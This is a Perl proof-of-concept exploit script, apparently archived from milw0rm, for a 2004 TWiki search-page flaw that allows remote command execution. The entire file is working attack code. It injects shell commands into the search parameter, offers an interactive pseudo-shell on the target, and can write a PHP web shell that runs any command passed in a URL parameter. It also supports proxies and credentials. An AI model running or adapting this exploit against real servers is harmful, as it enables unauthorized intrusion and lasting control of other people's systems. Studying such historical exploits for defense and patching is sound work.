229 lines
No EOL
5.4 KiB
Prolog
Executable file
229 lines
No EOL
5.4 KiB
Prolog
Executable file
#!/usr/bin/perl
|
|
|
|
# "tweaky.pl" v. 1.0 beta 2
|
|
#
|
|
# Proof of concept for TWiki vulnerability. Remote code execution
|
|
# Vuln discovered, researched and exploited by RoMaNSoFt <roman rs-labs com>
|
|
#
|
|
# Madrid, 30.Sep.2004.
|
|
|
|
|
|
require LWP::UserAgent;
|
|
use Getopt::Long;
|
|
|
|
### Default config
|
|
$host = '';
|
|
$path = '/cgi-bin/twiki/search/Main/';
|
|
$secure = 0;
|
|
$get = 0;
|
|
$post = 0;
|
|
$phpshellpath='';
|
|
$createphpshell = '(echo `perl -e \'print chr(60).chr(63)\'` ; echo \'$out = shell_exec($_GET["cmd"].
|
|
" 2\'`perl -e \'print chr(62).chr(38)\'`\'1");\' ; echo \'echo "\'`perl -e \'print chr(60)."pre".chr(62)."\\\\
|
|
$out".chr(60)."/pre".chr(62)\'`\'";\' ; echo `perl -e \'print chr(63).chr(62)\'`) | tee ';
|
|
$logfile = ''; # If empty, logging will be disabled
|
|
$prompt = "tweaky\$ ";
|
|
$useragent = 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)';
|
|
$proxy = '';
|
|
$proxy_user = '';
|
|
$proxy_pass = '';
|
|
$basic_auth_user = '';
|
|
$basic_auth_pass = '';
|
|
$timeout = 30;
|
|
$debug = 0;
|
|
$init_command = 'uname -a ; id';
|
|
$start_mark = 'AAAA';
|
|
$end_mark = 'BBBB';
|
|
$pre_string = 'nonexistantttt\' ; (';
|
|
$post_string = ') | sed \'s/\(.*\)/'.$start_mark.'\1'.$end_mark.'.txt/\' ; fgrep -i -l -- \'nonexistantttt';
|
|
$delim_start = '<b>'.$start_mark;
|
|
$delim_end = $end_mark.'</b>';
|
|
|
|
print "Proof of concept for TWiki vulnerability. Remote code execution.\n";
|
|
print "(c) RoMaNSoFt, 2004. <roman\@rs-labs.com>\n\n";
|
|
|
|
### User-supplied config (read from the command-line)
|
|
$parsing_ok = GetOptions ('host=s' => \$host,
|
|
'path=s' => \$path,
|
|
'secure' => \$secure,
|
|
'get' => \$get,
|
|
'post' => \$post,
|
|
'phpshellpath=s' => \$phpshellpath,
|
|
'logfile=s' => \$logfile,
|
|
'init_command=s' => \$init_command,
|
|
'useragent=s' => \$useragent,
|
|
'proxy=s' => \$proxy,
|
|
'proxy_user=s' => \$proxy_user,
|
|
'proxy_pass=s' => \$proxy_pass,
|
|
'basic_auth_user=s' => \$basic_auth_user,
|
|
'basic_auth_pass=s' => \$basic_auth_pass,
|
|
'timeout=i' => \$timeout,
|
|
'debug' => \$debug,
|
|
'start_mark=s' => \$start_mark,
|
|
'end_mark=s' => \$end_mark);
|
|
|
|
### Some basic checks
|
|
&banner unless ($parsing_ok);
|
|
|
|
if ($get and $post) {
|
|
print "Choose one only method! (GET or POST)\n\n";
|
|
&banner;
|
|
}
|
|
|
|
if (!($get or $post)) {
|
|
# If not specified we prefer POST method
|
|
$post = 1;
|
|
}
|
|
|
|
if (!$host) {
|
|
print "You must specify a target hostname! (tip: --host <hostname>)\n\n" ;
|
|
&banner;
|
|
}
|
|
|
|
$url = ($secure ? 'https' : 'http') . "://" . $host . $path;
|
|
|
|
### Checking for a vulnerable TWiki
|
|
&run_it ($init_command, 'RS-Labs rlz!');
|
|
|
|
### Execute selected payload
|
|
|
|
if ($phpshellpath) {
|
|
&create_phpshell;
|
|
print "PHPShell created.";
|
|
} else {
|
|
&pseudoshell;
|
|
}
|
|
|
|
### End
|
|
exit(0);
|
|
|
|
|
|
### Create PHPShell
|
|
sub create_phpshell {
|
|
$createphpshell .= $phpshellpath;
|
|
&run_it($createphpshell, 'yeah!');
|
|
}
|
|
|
|
|
|
### Pseudo-shell
|
|
sub pseudoshell {
|
|
open(LOGFILE, ">>$logfile") if $logfile;
|
|
open(STDINPUT, '-');
|
|
|
|
print "Welcome to RoMaNSoFt's pseudo-interactive shell :-)\n[Type Ctrl-D or (bye, quit, exit, logout) to exit]\n
|
|
\n".$prompt.$init_command."\n";
|
|
&run_it ($init_command);
|
|
print $prompt;
|
|
|
|
while (<STDINPUT>) {
|
|
chop;
|
|
if ($_ eq "bye" or $_ eq "quit" or $_ eq "exit" or $_ eq "logout") {
|
|
exit(1);
|
|
}
|
|
|
|
&run_it ($_) unless !$_;
|
|
print "\n".$prompt;
|
|
}
|
|
|
|
close(STDINPUT);
|
|
close(LOGFILE) if $logfile;
|
|
}
|
|
|
|
|
|
### Print banner and die
|
|
sub banner {
|
|
print "Syntax: ./tweaky.pl --host=<host> [options]\n\n";
|
|
print "Proxy options: --proxy=http://proxy:port --proxy_user=foo --proxy_pass=bar\n";
|
|
print "Basic auth options: --basic_auth_user=foo --basic_auth_pass=bar\n";
|
|
print "Secure HTTP (HTTPS): --secure\n";
|
|
print "Path to CGI: --path=$path\n";
|
|
print "Method: --get | --post\n";
|
|
print "Enable logging: --logfile=/path/to/a/file\n";
|
|
print "Create PHPShell: --phpshellpath=/path/to/phpshell\n";
|
|
|
|
exit(1);
|
|
}
|
|
|
|
|
|
### Execute command via vulnerable CGI
|
|
sub run_it {
|
|
my ($command, $testing_vuln) = @_;
|
|
my $req;
|
|
my $ua = new LWP::UserAgent;
|
|
|
|
$ua->agent($useragent);
|
|
$ua->timeout($timeout);
|
|
|
|
# Build CGI param and urlencode it
|
|
my $search = $pre_string . $command . $post_string;
|
|
$search =~ s/(\W)/"%" . unpack("H2", $1)/ge;
|
|
|
|
# Case GET
|
|
if ($get) {
|
|
$req = HTTP::Request->new('GET', $url . "?scope=text&order=modified&search=$search");
|
|
}
|
|
|
|
# Case POST
|
|
if ($post) {
|
|
$req = new HTTP::Request POST => $url;
|
|
$req->content_type('application/x-www-form-urlencoded');
|
|
$req->content("scope=text&order=modified&search=$search");
|
|
}
|
|
|
|
# Proxy definition
|
|
if ($proxy) {
|
|
if ($secure) {
|
|
# HTTPS request
|
|
$ENV{HTTPS_PROXY} = $proxy;
|
|
$ENV{HTTPS_PROXY_USERNAME} = $proxy_user;
|
|
$ENV{HTTPS_PROXY_PASSWORD} = $proxy_pass;
|
|
} else {
|
|
# HTTP request
|
|
$ua->proxy(['http'] => $proxy);
|
|
$req->proxy_authorization_basic($proxy_user, $proxy_pass);
|
|
}
|
|
}
|
|
|
|
# Basic Authorization
|
|
$req->authorization_basic($basic_auth_user, $basic_auth_pass) if ($basic_auth_user);
|
|
|
|
# Launch request and parse results
|
|
my $res = $ua->request($req);
|
|
|
|
if ($res->is_success) {
|
|
|
|
print LOGFILE "\n".$prompt.$command."\n" if ($logfile and !$testing_vuln);
|
|
@content = split("\n", $res->content);
|
|
|
|
my $empty_response = 1;
|
|
|
|
foreach $_ (@content) {
|
|
my ($match) = ($_ =~ /$delim_start(.*)$delim_end/g);
|
|
|
|
if ($debug) {
|
|
print $_ . "\n";
|
|
} else {
|
|
if ($match) {
|
|
$empty_response = 0;
|
|
print $match . "\n" unless ($testing_vuln);
|
|
}
|
|
}
|
|
|
|
print LOGFILE $match . "\n" if ($match and $logfile and !$testing_vuln);
|
|
}
|
|
|
|
if ($empty_response) {
|
|
if ($testing_vuln) {
|
|
die "Sorry, exploit didn't work!\nPerhaps TWiki is patched or you supplied a wrong URL
|
|
(remember it should point to Twiki's search page).\n";
|
|
} else {
|
|
print "[Server issued an empty response. Perhaps you entered a wrong command?]\n";
|
|
}
|
|
}
|
|
|
|
} else {
|
|
die "Couldn't connect to server. Error message follows:\n" . $res->status_line . "\n";
|
|
}
|
|
}
|
|
|
|
# milw0rm.com [2004-11-20] |